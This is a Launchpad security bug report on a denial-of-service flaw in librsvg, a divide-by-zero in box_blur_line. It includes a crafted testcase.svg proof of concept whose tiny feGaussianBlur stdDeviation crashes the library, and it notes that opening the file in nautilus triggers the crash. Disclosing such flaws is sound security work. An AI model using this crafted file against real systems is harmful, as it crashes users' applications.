Denial of Service Vulnerability in Librsvg

Bug #1697283 reported by gnehsoah
256
This bug affects 1 person
Affects Status Importance Assigned to Milestone
librsvg (Ubuntu)
Confirmed
Undecided
Unassigned

Bug Description

An SIGFPE is raised in function box_blur_line of rsvg-filter.c when the librsvg try to parse a craft SVG file.

https://github.com/GNOME/librsvg/blob/master/rsvg-filter.c#L1439

if (output >= 0)
    dest[bpp * output + i] = (ac[i] + (coverage >> 1)) / coverage;
}

The coverage could be zero.

testcase.svg

<svg width="100" height="120"
 xmlns="http://www.w3.org/2000/svg"
 xmlns:xlink="http://www.w3.org/1999/xlink">

  <filter id="blurMe">
    <feGaussianBlur in="SourceGraphic" stdDeviation="0.053192302807822195 20" />
  </filter>

  <circle cx="50" cy="50" r="50" fill="green"
          filter="url(#blurMe)" />
</svg>

CVE References

Revision history for this message
gnehsoah (gnehsoah) wrote :
Revision history for this message
gnehsoah (gnehsoah) wrote :
Revision history for this message
gnehsoah (gnehsoah) wrote :

The way to trigger this vulnerability is to use nautilus to open testcase.svg.

Revision history for this message
Seth Arnold (seth-arnold) wrote :
Revision history for this message
Seth Arnold (seth-arnold) wrote :
Revision history for this message
Marc Deslauriers (mdeslaur) wrote :

Hi! Can I make this bug, including your test case public?

Thanks!

Revision history for this message
gnehsoah (gnehsoah) wrote : Re: [Bug 1697283] Re: Denial of Service Vulnerability in Librsvg

Yes, you can.

2017-08-18 20:08 GMT+08:00 Marc Deslauriers <email address hidden>
:

> Hi! Can I make this bug, including your test case public?
>
> Thanks!
>
> --
> You received this bug notification because you are subscribed to the bug
> report.
> https://bugs.launchpad.net/bugs/1697283
>
> Title:
> Denial of Service Vulnerability in Librsvg
>
> Status in librsvg package in Ubuntu:
> New
>
> Bug description:
> An SIGFPE is raised in function box_blur_line of rsvg-filter.c when
> the librsvg try to parse a craft SVG file.
>
> https://github.com/GNOME/librsvg/blob/master/rsvg-filter.c#L1439
>
> if (output >= 0)
> dest[bpp * output + i] = (ac[i] + (coverage >> 1)) / coverage;
> }
>
> The coverage could be zero.
>
> testcase.svg
>
> <svg width="100" height="120"
> xmlns="http://www.w3.org/2000/svg"
> xmlns:xlink="http://www.w3.org/1999/xlink">
>
> <filter id="blurMe">
> <feGaussianBlur in="SourceGraphic" stdDeviation="0.053192302807822195
> 20" />
> </filter>
>
> <circle cx="50" cy="50" r="50" fill="green"
> filter="url(#blurMe)" />
> </svg>
>
> To manage notifications about this bug go to:
> https://bugs.launchpad.net/ubuntu/+source/librsvg/+bug/
> 1697283/+subscriptions
>

information type: Private Security → Public Security
Changed in librsvg (Ubuntu):
status: New → Confirmed
To post a comment you must log in.
This report contains Public Security information  
Everyone can see this security related information.

Other bug subscribers

Remote bug watches

Bug watches keep track of this bug in other bug trackers.